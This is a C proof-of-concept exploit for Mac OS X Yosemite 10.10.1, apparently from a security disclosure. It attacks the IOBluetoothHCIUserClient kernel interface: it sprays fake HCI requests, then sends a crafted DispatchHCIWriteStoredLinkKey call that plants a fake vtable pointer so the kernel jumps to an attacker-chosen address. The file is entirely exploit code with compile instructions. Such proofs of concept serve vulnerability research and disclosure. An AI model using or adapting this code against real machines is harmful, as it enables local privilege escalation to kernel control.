1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 |
/* * lpe-issue1.c * Written for Mac OS X Yosemite (10.10.1) by @joystick and @rpaleari. * * Exploits IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() * * gcc -Wall -o lpe-issue1{,.c} -framework IOKit * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <IOKit/IOKitLib.h> #define SIZE 0x1000 struct BluetoothCall { uint64_t args[7]; uint64_t sizes[7]; uint64_t index; }; #ifndef bswap64 # define bswap64(num) \ ( (((uint64_t)(num) << 56) ) \ | (((uint64_t)(num) << 40) & UINT64_C(0x00FF000000000000)) \ | (((uint64_t)(num) << 24) & UINT64_C(0x0000FF0000000000)) \ | (((uint64_t)(num) <<8) & UINT64_C(0x000000FF00000000)) \ | (((uint64_t)(num) >>8) & UINT64_C(0x00000000FF000000)) \ | (((uint64_t)(num) >> 24) & UINT64_C(0x0000000000FF0000)) \ | (((uint64_t)(num) >> 40) & UINT64_C(0x000000000000FF00)) \ | (((uint64_t)(num) >> 56) ) ) #endif void create_requests(io_connect_t port) { struct BluetoothCall a; uint32_t i; kern_return_t kr; for (i = 0; i < 7; i++) { a.args[i] = (uint64_t) calloc(SIZE, sizeof(char)); a.sizes[i] = SIZE; } /* DispatchHCIRequestCreate() */ a.index = 0x0; *(uint64_t *)a.args[0] = 5*1000;/* Timeout */ memset((void *)a.args[1], 0x81, 0x1000); memset((void *)a.args[2], 0x82, 0x1000); memset((void *)a.args[3], 0x83, 0x1000); memset((void *)a.args[4], 0x84, 0x1000); memset((void *)a.args[5], 0x85, 0x1000); memset((void *)a.args[6], 0x86, 0x1000); for(i = 0; i < 500; i++) { kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0,/* input, inputCnt */ (const void*) &a, /* inputStruct */ 120,/* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ if(kr == 0xe00002bd) /* Full */ break; } } int main(void) { struct BluetoothCall a; int i; void *landing_page = calloc(SIZE, sizeof(char)); /* Init a */ for (i = 0; i < 7; i++) { a.args[i] = (uint64_t) calloc(SIZE, sizeof(char)); a.sizes[i] = SIZE; } /* Finding vuln service */ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (!service) { return -1; } /* Connect to vuln service */ io_connect_t port = (io_connect_t) 0; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); IOObjectRelease(service); if (kr != kIOReturnSuccess) { return kr; } /* Populating with fake requests. */ create_requests(port); /* IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() */ a.index = 42; /* Req number */ *((uint32_t *)a.args[0]) = 1; /* num_of_keys */ *((uint32_t *)a.args[1]) = 0x20; /* Padding */ memset((void *)a.args[3], 0x33, 152); /* mov rdi, [r14+0AB8h] */ *((uint64_t *)(a.args[3]+152)) = bswap64((uint64_t)landing_page); /* mov rax, [rdi] */ *((uint64_t *)((uint64_t)landing_page)) = (uint64_t)landing_page; /* call [rax+0x1d0]: this will trigger a #GP calling 0x4141414142424242 */ *((uint64_t *)((uint64_t)landing_page+0x1d0)) = (uint64_t) 0x4141414142424242; /* Here some fixing to the vtable is required to return cleanly after the exploit */ #if 0 /* Debug print */ for(i = 0; i < 120; i++) { if(i % 8 == 0) printf("\n"); printf("\\x%02x", ((unsigned char *)&a)[i]); } printf("\n"); #endif kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0,/* input, inputCnt */ (const void*) &a, /* inputStruct */ 120,/* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ printf("kr: %08x\n", kr); return IOServiceClose(port); } |